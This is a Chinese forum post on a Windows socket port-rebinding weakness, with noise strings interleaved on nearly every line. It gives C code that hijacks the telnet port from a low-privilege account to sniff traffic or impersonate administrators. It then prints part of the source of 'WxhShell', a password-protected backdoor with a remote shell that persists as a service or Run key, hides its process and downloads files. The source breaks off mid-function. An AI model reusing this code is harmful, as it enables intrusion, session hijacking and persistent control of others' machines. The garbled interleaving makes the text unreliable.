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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: `f~\d.*U  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); g} /efE  
h/a|-V}m&  
  saddr.sin_family = AF_INET; -~'{WSJ  
#rkz:ir4  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 2Vn~o_ga  
+=Q/'g   
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); |\W9$V  
i:coNK)4  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 qP}187Q1  
+%%Ef]  
  这意味着什么?意味着可以进行如下的攻击: }+{ ? Ms  
1K`7  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 C =6.~&(  
X*^^W_LH.  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) $k|:V&6SV  
&Is}<Ew  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 &*4C{N  
nbECEQ:|B  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  dpPu&m+  
ZHWxU  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 PqJB&:ZV  
yDil  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 d}Y\; '2,  
aGR!T{`   
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 "nzQ$E>?$  
9 Y-y?Y  
  #include J:!m49fF  
  #include p!OCF]r  
  #include abW[hp  
  #include    ruKm_j#J  
  DWORD WINAPI ClientThread(LPVOID lpParam);   +=:*[JEK,U  
  int main() pp2,d`01[L  
  { R iPxz=kr  
  WORD wVersionRequested; !)1gGXRY  
  DWORD ret; M:9 6QM~  
  WSADATA wsaData; {%"n[DLps  
  BOOL val; '[z529HN  
  SOCKADDR_IN saddr; Q/[g|"  
  SOCKADDR_IN scaddr; R'udC}  
  int err; ?m(]@6qa  
  SOCKET s; s6k@WT?"^  
  SOCKET sc; fK %${   
  int caddsize; uSl&d  
  HANDLE mt; u3B[1Ae:K  
  DWORD tid;   YXi'^GU@  
  wVersionRequested = MAKEWORD( 2, 2 ); UBm L:Qv  
  err = WSAStartup( wVersionRequested, &wsaData ); +'ZJ]  
  if ( err != 0 ) { >OLKaghV.5  
  printf("error!WSAStartup failed!\n"); ,DZoE~  
  return -1; Biva{'[m  
  } RI[=N:C^  
  saddr.sin_family = AF_INET; #aeKK7[  
   3!H&bOF  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 J dK' ~-L  
pXy'Ss@y  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); U{JD\G 8m  
  saddr.sin_port = htons(23); FoNkISzW  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ~v$1@DQ}  
  { >]!8f?,  
  printf("error!socket failed!\n"); cUH. ^_a  
  return -1; ,'nd~{pX"(  
  } ZR," w  
  val = TRUE; q9h 3/uTv  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 (qbL=R"  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) n?[JPG2X  
  { Mxmo}tt  
  printf("error!setsockopt failed!\n"); ev'` K=n8  
  return -1; V4 `  
  } ~\oF}7l$  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; p|gzU$FWbk  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 :Rftn6!  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 e2><Y<  
GGQ%/i]:  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) %6%~`((4  
  { Pss$[ %  
  ret=GetLastError(); V`WSZ  
  printf("error!bind failed!\n"); cs]h+yE  
  return -1; pK|~G."6e  
  } I,lX;~xb  
  listen(s,2); u^4$<fd  
  while(1) &}y?Lt  
  { #hZ`r5GvTj  
  caddsize = sizeof(scaddr); 7G \a5  
  //接受连接请求 vmj'X>Q  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); li37*  
  if(sc!=INVALID_SOCKET) s?5vJ:M Xr  
  { mp:xR^5c  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Ct<]('Hm(  
  if(mt==NULL) Im g$D*BM  
  {  Nt w?~%  
  printf("Thread Creat Failed!\n"); 0z =?}xr  
  break; WR<?_X_  
  } ?]AF? 0/  
  } gr^T L1(  
  CloseHandle(mt); GyZpdp!  
  } `w_%HVw>"  
  closesocket(s); &Yklf?EZ>Q  
  WSACleanup(); Q;xJ/4 Z"  
  return 0; L[cP2X]NQ  
  }   _m.w5nJ  
  DWORD WINAPI ClientThread(LPVOID lpParam) &E+mXEve  
  { 6KRC_-  
  SOCKET ss = (SOCKET)lpParam; ogvB{R  
  SOCKET sc; QG=K^g  
  unsigned char buf[4096]; II'"Nkxd  
  SOCKADDR_IN saddr; 9R m\@E [  
  long num; xjy(f~'  
  DWORD val; 8-PHW,1@a3  
  DWORD ret; W;T 5[  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Ntt*}|:QV<  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ]<*-pRN  
  saddr.sin_family = AF_INET; #I"s{*  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); -hY@r 7y  
  saddr.sin_port = htons(23); |kGQ~:k+P  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) +WjX@rSq[  
  { *N&~Uq^  
  printf("error!socket failed!\n"); % aqP{mOO  
  return -1; &"?S0S>r!  
  } ^)UX#D3b  
  val = 100; 6Vj=SYK  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) @GWJq 3e  
  { g.*DlD%%  
  ret = GetLastError(); M5kw3Jy5  
  return -1; bn%4s[CVb4  
  } +P=Ikbx AO  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) i*((@:  
  { #M)+sK$H%f  
  ret = GetLastError(); ]5r@`%9  
  return -1; }0Ie Kpu5  
  } B#G:aBCM  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) o/6VOX  
  { ri%j*Kn  
  printf("error!socket connect failed!\n"); Am!OLGG4  
  closesocket(sc); 4l`[,BJ  
  closesocket(ss); =/!RQQ|8o  
  return -1; !pZ<{|cH  
  } >r3SF3XMq  
  while(1)  b]gVZ-  
  { RcC5_@W  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Yi j^hs@eV  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 hXh nJ  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Ae[fW97  
  num = recv(ss,buf,4096,0); SLW|)Q24  
  if(num>0) aka)#0l .  
  send(sc,buf,num,0); FP'-=zgc  
  else if(num==0) 7^7Jh&b)/  
  break; #U(kK(uO  
  num = recv(sc,buf,4096,0); `&9iC 4P  
  if(num>0) 63i&<  
  send(ss,buf,num,0); 3$_JNF`  
  else if(num==0) dmWCNeja.  
  break; aJ QzM  
  } fC".K Yjp  
  closesocket(ss); @THa[|(S  
  closesocket(sc); LS$zA>:  
  return 0 ; +s;>@j()V  
  } O 6ph_$nt.  
[MuZ^'dR  
M1icj~Jr  
========================================================== !zfKj0^  
/i~x.i3  
下边附上一个代码,,WXhSHELL !QpOrg  
}xry  
========================================================== NBL%5!'  
& 'CUc/,  
#include "stdafx.h" JOz4O  
}K5okxio  
#include <stdio.h> {- &`@V  
#include <string.h> S=gb y  
#include <windows.h> L~%7=]m  
#include <winsock2.h> I~;w Q  
#include <winsvc.h> { V) `6  
#include <urlmon.h> +0?1"2  
snWe&-  
#pragma comment (lib, "Ws2_32.lib") tpb lm|sW  
#pragma comment (lib, "urlmon.lib") t#xfso`4o  
!6l*Jc3  
#define MAX_USER   100 // 最大客户端连接数 SpImd IpD  
#define BUF_SOCK   200 // sock buffer j9rxu$N+  
#define KEY_BUFF   255 // 输入 buffer ;80^ GDk~S  
HB{'MBs  
#define REBOOT     0   // 重启 z-qbe97  
#define SHUTDOWN   1   // 关机 *7E#=xb  
8{i O#C  
#define DEF_PORT   5000 // 监听端口 I(Z\$  
zu.B>INe  
#define REG_LEN     16   // 注册表键长度 Wb>;L@jB7  
#define SVC_LEN     80   // NT服务名长度 dr(-k3ex  
14"+ctq  
// 从dll定义API +4  h!;i  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); i)'tt9f$  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); p="0Y<2l  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); J?dLI_{ <  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); v<t?t<|J  
e_|Z&  
// wxhshell配置信息 4i PVpro  
struct WSCFG { KIcIYCBz  
  int ws_port;         // 监听端口 Z+u.LXc|c  
  char ws_passstr[REG_LEN]; // 口令 51`&%V{daL  
  int ws_autoins;       // 安装标记, 1=yes 0=no peF)U !`D  
  char ws_regname[REG_LEN]; // 注册表键名 1yZA_x15:  
  char ws_svcname[REG_LEN]; // 服务名 L$ i:~6  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 uIbAlE  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ZSs@9ej  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 $C sE[+k1  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 5|=J\Lp2I  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 9|lLce$  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 WrSc@j&Ycv  
yx|{:Li!  
}; qDG2rFu&[  
T@=C2 1  
// default Wxhshell configuration ggL/7I(  
struct WSCFG wscfg={DEF_PORT, + c+i u6+"  
    "xuhuanlingzhe", (l99a&] t  
    1, <odi>!ViH  
    "Wxhshell", *p(_="J,  
    "Wxhshell", $}&a*c>  
            "WxhShell Service", c]M+|R5  
    "Wrsky Windows CmdShell Service", bN_e~z  
    "Please Input Your Password: ", )k(K/m  
  1, X~r9yl>  
  "http://www.wrsky.com/wxhshell.exe", LACrg  
  "Wxhshell.exe" o ]*yI[\  
    }; x {NBhq(4  
PLz{EQ[cV  
// 消息定义模块 {?`rGJ{f  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; (7g"ppf  
char *msg_ws_prompt="\n\r? for help\n\r#>"; _mqU:?Q5  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; bL7Gkbs&|  
char *msg_ws_ext="\n\rExit."; Cu+p!hV  
char *msg_ws_end="\n\rQuit."; {]dxFhe)  
char *msg_ws_boot="\n\rReboot..."; :TTq   
char *msg_ws_poff="\n\rShutdown..."; p:xyy*I  
char *msg_ws_down="\n\rSave to "; 2PQBUq  
'/I`dj  
char *msg_ws_err="\n\rErr!"; Wr[LC&  
char *msg_ws_ok="\n\rOK!"; xQ"uC!Gu4  
q1VKoKb6\:  
char ExeFile[MAX_PATH]; A;d@NOI#,K  
int nUser = 0; O!"K'Bm  
HANDLE handles[MAX_USER];  :tZsSK  
int OsIsNt; dUv@u !}B  
wH|%3 @eJ  
SERVICE_STATUS       serviceStatus; cP?GRMX@}  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; y[i}iT/~  
g@'XmT="_  
// 函数声明 |.c4y*  
int Install(void); %NkiYiA  
int Uninstall(void); fS"u"]j*e  
int DownloadFile(char *sURL, SOCKET wsh); Nw. )O  
int Boot(int flag); ] 0R*F30]  
void HideProc(void); Y!M0JSaM  
int GetOsVer(void); )|=1;L  
int Wxhshell(SOCKET wsl); V(TtOuv  
void TalkWithClient(void *cs); I">">  
int CmdShell(SOCKET sock); .!4'Y}  
int StartFromService(void); 25OQY.>bE  
int StartWxhshell(LPSTR lpCmdLine); +t,b/K(?]  
I%.nPOQ 8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); P*"c!Dn  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 11l=zv  
->I.D?p  
// 数据结构和表定义 FsqH:I4O  
SERVICE_TABLE_ENTRY DispatchTable[] = o+|>D&CW%  
{ {qw'gJmX  
{wscfg.ws_svcname, NTServiceMain}, /kGWd9ujF  
{NULL, NULL} Hdyl]q-(P  
}; x_7$g<n  
gxO~44"  
// 自我安装 0o8`Y  
int Install(void) aA?Qr&]M  
{ 7u"Q1n(h/  
  char svExeFile[MAX_PATH]; %i\rw*f  
  HKEY key; CNRSc 4Le  
  strcpy(svExeFile,ExeFile); 3rRIrrYO  
m@ <,bZkl  
// 如果是win9x系统,修改注册表设为自启动 uRy}HLZ"  
if(!OsIsNt) { G+=G c(J  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { bg|$1ue  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); j*QdD\)  
  RegCloseKey(key); S5JM t;O  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )L&y@dy)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); w yxPvI`   
  RegCloseKey(key); |r+ x/,2-  
  return 0; fExFpR,`  
    } 76T7<.S  
  } ~;oXLCL0})  
} )y] Dmm  
else { _!2lnJ4+5  
|4DN2P  
// 如果是NT以上系统,安装为系统服务 N@PuC>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); E#P#{_BR^  
if (schSCManager!=0) w#1BHx  
{ 4 6v C/  
  SC_HANDLE schService = CreateService {eU>E /SQ  
  ( EC\@$Fg  
  schSCManager, jW&*?6<  
  wscfg.ws_svcname, &7'=t6  
  wscfg.ws_svcdisp, F+Kju2  
  SERVICE_ALL_ACCESS, HxK'u4I  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 7s%D(;W_Mo  
  SERVICE_AUTO_START, 3z0Bg  
  SERVICE_ERROR_NORMAL, \2u7>fU!  
  svExeFile, 9z4F/tUq  
  NULL, 9(fh+  
  NULL, \r aP  
  NULL, 8T"L'{ggWB  
  NULL, >yc),]1~  
  NULL (w-"1(  
  ); K cex%.  
  if (schService!=0) O=}w1]  
  { D;JZ0."  
  CloseServiceHandle(schService); kQU4s)J  
  CloseServiceHandle(schSCManager); +m JG:n  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); _*}D@yy&  
  strcat(svExeFile,wscfg.ws_svcname); w5q6c%VZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { skeeec\V  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); X,3"4 SK  
  RegCloseKey(key); YAR$6&  
  return 0; ExS&fUn `C  
    } P [aE3Felk  
  } t[k ['<G  
  CloseServiceHandle(schSCManager); h<3bv&oI .  
} Rm3W&hQ  
} iM!V4Wih6  
7r,GdP.  
return 1; !_Y%+Rkp0  
} &=t~_ Dc  
],AtR1k  
// 自我卸载 At>e4t2@  
int Uninstall(void) /7B3z}rd  
{ R[F`b  
  HKEY key; H5]q*D2  
.+2:~%v6  
if(!OsIsNt) { 8r}tf3xMCM  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %^W(sB$b  
  RegDeleteValue(key,wscfg.ws_regname); \aSc2Ml]3n  
  RegCloseKey(key); (M;d*gN r  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5<X"+`=9  
  RegDeleteValue(key,wscfg.ws_regname); >l}v _k*~B  
  RegCloseKey(key); 8Ud.t =2  
  return 0; 3q'nO-KJ  
  } ,6y.wNb:F  
} FXk*zXn6  
} [*K9V/  
else { y=8KNseW|  
8F\'? 7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); B$c'^ )  
if (schSCManager!=0) #U'}g *  
{ L?N: 4/0;!  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); *#p}FB2H#  
  if (schService!=0) j}lne^ h  
  { 7.{+8#~nV  
  if(DeleteService(schService)!=0) { zKk=R6w  
  CloseServiceHandle(schService); 6k')12~'  
  CloseServiceHandle(schSCManager); hJFxT8B/  
  return 0; c&#Q`m  
  } GwgY{-|`  
  CloseServiceHandle(schService); /hg^hF  
  } 11S{XbU  
  CloseServiceHandle(schSCManager); `$4wm0G|  
} uj}%S_9  
} Hv"qRuQ?[  
z+fy&NPl  
return 1; \xOYa  
} cooicKS7  
*W=1yPP  
// 从指定url下载文件 Qt"jU+Zoy  
int DownloadFile(char *sURL, SOCKET wsh) ko!]vHB9`  
{ M$v\7vBgO!  
  HRESULT hr; Mj0jpP<uf  
char seps[]= "/"; ! .Pbbs%  
char *token; H5vg s2R  
char *file; 1.2qh"#  
char myURL[MAX_PATH]; Yh,,(V6  
char myFILE[MAX_PATH]; `j2|aX %Z*  
`,FA3boE  
strcpy(myURL,sURL); (<`> B  
  token=strtok(myURL,seps); M;g"rpM  
  while(token!=NULL) QeQwmI  
  { uf )!SxT  
    file=token; Ayw {I#"  
  token=strtok(NULL,seps); Ng&K5Z/  
  } ;[C_ho  
nKwOSGPQt  
GetCurrentDirectory(MAX_PATH,myFILE); ?MRT  
strcat(myFILE, "\\"); rJ4A9d3:  
strcat(myFILE, file); mst;q@  
  send(wsh,myFILE,strlen(myFILE),0); Ux);~P`/o  
send(wsh,"...",3,0); ZjK'gu8*  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); @gx]3t*]I  
  if(hr==S_OK) YFcMU5_F  
return 0; ]7,0}q.  
else !':y8(Ou  
return 1; Q >h7H{c  
0 4ceDe  
} !9S!zRy@  
R-Tf9?)  
// 系统电源模块 TY+Rol;!  
int Boot(int flag) sEb*GF*.V  
{ IjPt JwW`A  
  HANDLE hToken; skLr6Cs|  
  TOKEN_PRIVILEGES tkp; WD8F]+2O\  
R,hwn2@B  
  if(OsIsNt) { gfXit$s  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); FYaBP;@J%  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); KjV1->r#  
    tkp.PrivilegeCount = 1; '8^>Z.~V  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; fQfd1=4  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 5'rP-z~ u  
if(flag==REBOOT) { P1qnU  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) p1s& y0:d  
  return 0; mnYzn[d3U  
} c=B!\J<1  
else { HvG~bZN  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ,7Q b24A  
  return 0; mj& 4FQ#O*  
} t%s(xz#1  
  } avMre_@V  
  else { t; #D,gx  
if(flag==REBOOT) { ?D@WXE0a  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) cS|W&IH1  
  return 0; %&$s0=+  
} p^QppM94  
else { M;X}v#l|XI  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) VPDd*32HC  
  return 0; G/Yqvu,2!  
} d r=h;[Q'  
} ?&XpwJw:~  
8}OII\  
return 1; [@/x  
} =eeZtj.  
4^w`] m  
// win9x进程隐藏模块 QL@}hw.F  
void HideProc(void) K"=I,Vr:  
{ /n1H; ~f]  
=.q8*7UY  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Hc-68]T  
  if ( hKernel != NULL ) RZ9chTX/  
  { \avgXndI  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 8Dc'"3+6  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); w"FBJULzn9  
    FreeLibrary(hKernel); ^1+=HdN,  
  } d/I*$UC  
{dNWQE*\c  
return; )WF*fcx{  
} KZsJ_t++!W  
Ei\tn`I&  
// 获取操作系统版本 ^s3SzB@  
int GetOsVer(void) |("zW7g  
{ >KCnmi  
  OSVERSIONINFO winfo; AI*1kxR  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ,a@jg&Mb]  
  GetVersionEx(&winfo); T oK'Pd  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ujoJ6UOG  
  return 1; F@@6D0\X?  
  else @O&;%IZMY  
  return 0; G+W0X  
} "D/\&1.&  
sxn^1|O;m  
// 客户端句柄模块 qa)Qf,`  
int Wxhshell(SOCKET wsl) 9d >AnTf&H  
{ :LMLY<8>9  
  SOCKET wsh; 6+_qGV  
  struct sockaddr_in client; \oV g(J&o  
  DWORD myID; +m1y#|08  
v^Pjvv=  
  while(nUser<MAX_USER) LLW\1 cxi  
{ N:e5=;6s  
  int nSize=sizeof(client); 5| bc*iqU  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Q$=X ?{  
  if(wsh==INVALID_SOCKET) return 1; H1kxY]_/  
5>"X?U}He  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ]=T-C v=t  
if(handles[nUser]==0) ]c$)0O\O  
  closesocket(wsh); ;{K/W.R  
else A@#D_[~  
  nUser++; nG !6[^D  
  } }SBpc{ch  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ^@n?&  
o" e]9{+<  
  return 0; nv2p&-e+  
}  Y.v. EZ  
xa|/P#q  
// 关闭 socket ?LA` v_  
void CloseIt(SOCKET wsh) jun$C Y4  
{ +OX:T) 4h6  
closesocket(wsh); z!:%Hbh=  
nUser--; L{AfrgN  
ExitThread(0); _';oT*#  
} ,e5#wz  
! p|d[  
// 客户端请求句柄 :]k`;;vh  
void TalkWithClient(void *cs) $Z{Xt*  
{ 2<8JY4]!]  
' lMPI@C6r  
  SOCKET wsh=(SOCKET)cs; L<M H:  
  char pwd[SVC_LEN]; A&/ YnJ"  
  char cmd[KEY_BUFF]; ubQZTAx  
char chr[1]; }  cQ` L  
int i,j; c*HWH$kB  
MWron_xg  
  while (nUser < MAX_USER) { z~O:w'(g  
hV7]/z!d  
if(wscfg.ws_passstr) { $@Kwsoh'  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); W]= $0'  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); U%E364;F  
  //ZeroMemory(pwd,KEY_BUFF); %Y*]eLT>  
      i=0; !;s5\91  
  while(i<SVC_LEN) { t*{BN>B  
}D\i1/Y  
  // 设置超时 ~_Q1+ax}  
  fd_set FdRead; aX{i   
  struct timeval TimeOut; g6~B|?!  
  FD_ZERO(&FdRead); 'n4$dv% q  
  FD_SET(wsh,&FdRead); X4Y!Z/b  
  TimeOut.tv_sec=8; }0z]sYI  
  TimeOut.tv_usec=0; t }q \.  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); AI\|8[kf0  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); we;QrS(Hi  
c&a.<e3mL  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); b?{\t;  
  pwd=chr[0]; f15f)P  
  if(chr[0]==0xd || chr[0]==0xa) { EsKOzl[c:  
  pwd=0; (,!G$~Sy  
  break; UUaC@Rs2  
  } ud,=O X q  
  i++; 1^_V8dm)  
    } yV/A%y-P  
# 8fq6z|JZ  
  // 如果是非法用户,关闭 socket @Rp#*{  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); yEB1gYJB  
} + tza]r:  
}SZU'lYHoM  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); c6_i~0W56  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); IFfB3{J  
U+wfq%Fz  
while(1) { a1yGgT a?D  
}10ZPaHjl+  
  ZeroMemory(cmd,KEY_BUFF); 0$A7"^]  
%RX}sS  
      // 自动支持客户端 telnet标准   ?'I pR  
  j=0; n+9rx]W,  
  while(j<KEY_BUFF) { r}Ec_0_lt  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @_4E^KgF  
  cmd[j]=chr[0]; D*o5fPvFO  
  if(chr[0]==0xa || chr[0]==0xd) { l6#ms!e  
  cmd[j]=0; |VxO ,[~  
  break; s%l`XW;v  
  } 5`H.{4@  
  j++; !H/5Ud9  
    } bIP%xl Vp  
$:D-dUr1  
  // 下载文件 QdtGFY4f,  
  if(strstr(cmd,"http://")) { HyKv5S$  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); [) S&PK  
  if(DownloadFile(cmd,wsh)) MWZH-aA(.  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); .tH[A[/1 a  
  else . \:{6_  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B(B77SOb  
  } .qGfLvx%  
  else { gOL-b9W  
|QcE5UC  
    switch(cmd[0]) { 7;x}W-`iF  
  %MH!L2|  
  // 帮助 ^a{cK  
  case '?': { CE;J`;  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); CP"  
    break; 5KIlU78  
  } $2'Q'Mx[gd  
  // 安装 q@0g KC&U  
  case 'i': { *j"u~ N F  
    if(Install()) FQW{c3%qZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *p Q'w  
    else Vnvfu!>(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vE<z0l  
    break; GZCXm+  
    } bj$VYS"kY  
  // 卸载 1Q>D^yPI[  
  case 'r': { Y `ySNC  
    if(Uninstall()) E@%9u#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Tw+V$:$$  
    else nXFPoR)T  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R7Z7o4jg  
    break; "B3&v%b  
    } \~~y1.,U.  
  // 显示 wxhshell 所在路径 sm9/sX!  
  case 'p': { u-%|ZSg  
    char svExeFile[MAX_PATH]; Wi%e9r{hU  
    strcpy(svExeFile,"\n\r"); rS&"UH?c7  
      strcat(svExeFile,ExeFile); `m7w%J.>n  
        send(wsh,svExeFile,strlen(svExeFile),0); ~H~iKl}|7  
    break; [,86||^  
    } SL ) ope  
  // 重启 i4s_:%+  
  case 'b': { H2 Gj(Nc-  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); +u\kTn  
    if(Boot(REBOOT)) 8 LH\a.>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )Lb?ZXT3  
    else { 2vh@KnNU  
    closesocket(wsh); |rr<4>)X  
    ExitThread(0); %]1.)j  
    } vtu!* 7m  
    break; Y6w7sr_R  
    } ])tUXU>  
  // 关机 }{y(&Oy3Y  
  case 'd': { 7*I:cga  
